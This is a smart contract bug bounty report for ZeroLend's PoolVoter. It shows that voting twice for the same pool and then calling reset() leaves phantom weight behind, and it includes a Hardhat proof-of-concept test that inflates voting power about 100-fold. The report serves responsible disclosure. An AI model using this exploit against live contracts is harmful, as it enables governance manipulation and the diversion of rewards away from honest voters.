Submitted on Mar 4th 2024 at 18:33:40 UTC by @DuckAstronomer for Boost | ZeroLend
Report ID: #29012
Report type: Smart Contract
Report severity: High
Target: https://github.com/zerolend/governance
Impacts:
- Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Affected asset: https://github.com/zerolend/governance/blob/main/contracts/voter/PoolVoter.sol
PoolVoter
contract allows to vote for the Gauge for anyone who has voting power by staking in the VestedZeroNFT
.
The vote()
function allows to specify pools associated with gauges and their respective weights.
function vote(
address[] calldata _poolVote,
uint256[] calldata _weights
) external {}
However, a crucial flaw exists as the function fails to check for repeated pools in the _poolVote
array. Moreover, it only considers the last weight if the same pool is utilized, as seen here - https://github.com/zerolend/governance/blob/main/contracts/voter/PoolVoter.sol#L117.
if (_gauge != address(0x0)) {
_updateFor(_gauge);
_usedWeight += _poolWeight;
totalWeight += _poolWeight;
weights[_pool] += _poolWeight;
poolVote[_who].push(_pool);
votes[_who][_pool] = _poolWeight; // !!!
}
When a voter calls the reset()
function to retrieve their voting power back and vote for another gauge, only the last weight is taken into account in case of repeated pool voting.
As a result, the voter recovers the full voting power. Yet totalWeight
and weights[_pool]
are decreased only by the last element from the _weights
array passed to the vote()
.
uint256 _votes = votes[_who][_pool];
if (_votes > 0) {
_updateFor(gauges[_pool]);
totalWeight -= _votes;
weights[_pool] -= _votes;
votes[_who][_pool] = 0;
}
Attack scenario:
- The attacker possesses a voting power of
19.01 ether
. - They invoke
vote()
to vote for the same gauge with the following parameters:- _poolVote = [gauge, gauge]
- _weights = [19 ether, 1e8]
- Further they call
reset()
, butweights[_pool]
andtotalWeight
are only decreased by1e8
. - The attacker retains the full
19.01 ether
voting power. Butweights[_pool]
andtotalWeight
are now increased by19 ether
. - By repeating steps 2-3 in a loop many times, the attacker can consolidate the majority of votes for their chosen gauge, and all rewards will be distributed to it.
- By repeating steps 2-3 for 100 times, it's tantamount to having
1900 ether
voting power.
To run the Poc put it's code to the governance-main/test/PoolVoter.poc.ts
file, generate random private key, and issue the following command:
WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/PoolVoter.poc.ts --config hardhat.config.ts --network hardhat
import { expect } from "chai";
import { loadFixture } from "@nomicfoundation/hardhat-network-helpers";
import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
import {
GaugeIncentiveController,
OmnichainStaking,
Pool,
PoolVoter,
StakingBonus,
TestnetERC20,
VestedZeroNFT,
ZeroLend,
} from "../typechain-types";
import { e18 } from "./fixtures/utils";
import { deployVoters } from "./fixtures/voters";
// Put inside governance-main/test/PoolVoter.poc.ts
// Run as:
// WALLET_PRIVATE_KEY=0x... NODE_ENV=test npx hardhat test test/PoolVoter.poc.ts --config hardhat.config.ts --network hardhat
describe.only("PoolVoter Immunefi Boost", () => {
let ant: SignerWithAddress;
let now: number;
let omniStaking: OmnichainStaking;
let poolVoter: PoolVoter;
let reserve: TestnetERC20;
let stakingBonus: StakingBonus;
let vest: VestedZeroNFT;
let pool: Pool;
let aTokenGauge: GaugeIncentiveController;
let zero: ZeroLend;
beforeEach(async () => {
const deployment = await loadFixture(deployVoters);
ant = deployment.ant;
now = Math.floor(Date.now() / 1000);
omniStaking = deployment.governance.omnichainStaking;
poolVoter = deployment.poolVoter;
reserve = deployment.lending.erc20;
stakingBonus = deployment.governance.stakingBonus;
vest = deployment.governance.vestedZeroNFT;
zero = deployment.governance.zero;
pool = deployment.lending.pool;
aTokenGauge = deployment.aTokenGauge;
// deployer should be able to mint a nft for another user
await vest.mint(
ant.address,
e18 * 20n, // 20 ZERO linear vesting
0, // 0 ZERO upfront
1000, // linear duration - 1000 seconds
0, // cliff duration - 0 seconds
now + 1000, // unlock date
true, // penalty -> false
0
);
// stake nft on behalf of the ant
await vest
.connect(ant)
["safeTransferFrom(address,address,uint256)"](
ant.address,
stakingBonus.target,
1
);
// there should now be some voting power for the user to play with
// ant voting power is ~ 19 ether
expect(await omniStaking.balanceOf(ant.address)).lessThan(e18 * 20n);
});
it("ant fraudulently increases his voting power by 100x", async function () {
expect(await poolVoter.totalWeight()).eq(0);
for (let i=0; i < 101; i++) {
// Vote for the same pool 2 times but with different weights
// 19 ether and 1e8 wei
await poolVoter.connect(ant).vote(
[reserve.target, reserve.target],
[19n*e18, 1e8]
);
// Reset() call resets only 1e8 wei votes.
// However, 19 ether votes remains untouched in totalWeight().
// ant can has voting power of 19 ether again and again.
// https://github.com/zerolend/governance/blob/main/contracts/voter/PoolVoter.sol#L67
// https://github.com/zerolend/governance/blob/main/contracts/voter/PoolVoter.sol#L61-L63
await poolVoter.connect(ant).reset();
}
expect(await poolVoter.totalWeight()).greaterThan(e18 * 19n * 100n);
});
});